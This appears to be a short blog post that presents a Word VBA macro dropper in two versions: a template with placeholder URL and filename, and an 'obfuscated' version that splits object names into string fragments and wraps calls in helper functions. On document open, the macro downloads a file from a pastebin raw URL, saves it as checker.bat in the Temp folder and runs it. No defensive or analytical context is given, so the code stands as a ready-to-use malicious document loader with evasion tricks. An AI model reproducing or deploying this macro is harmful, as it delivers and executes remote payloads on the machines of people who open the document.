Private Sub Document_Open()
Dim myURL As String, sFilename As String
myURL = "???url???"
sFilename = Environ("Temp") & Application.PathSeparator & "???filename???"
Dim WinHttpReq As Object, oStream As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False
WinHttpReq.Send
myURL = WinHttpReq.ResponseBody
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.ResponseBody
oStream.SaveToFile sFilename, 2
oStream.Close
Shell (sFilename)
End If
End Sub
----
obfuscated
----
Private Sub Document_Open()
Dim myURL As String, sFilename As String
myURL = "https://pastebin.com/raw/TDzh23VX"
sFilename = Environ("Temp") & Application.PathSeparator & "checker.bat"
Dim WinHttpReq As Object, oStream As Object
Set WinHttpReq = a("Micro" & "soft.XM" & "LHTTP")
WinHttpReq.Open "GET", myURL, False
WinHttpReq.Send
myURL = WinHttpReq.ResponseBody
If WinHttpReq.Status = 200 Then
Set oStream = a("ADO" + "DB.Str" + "eam")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.ResponseBody
f oStream, sFilename
e sFilename
End If
End Sub
Private Function a(b) As Object
Set a = CreateObject(b)
End Function
Private Sub c(d)
d.Send
End Sub
Private Sub e(i)
Shell i
End Sub
Private Sub f(g, h)
g.SaveToFile h, 2
End Sub
No comments:
Post a Comment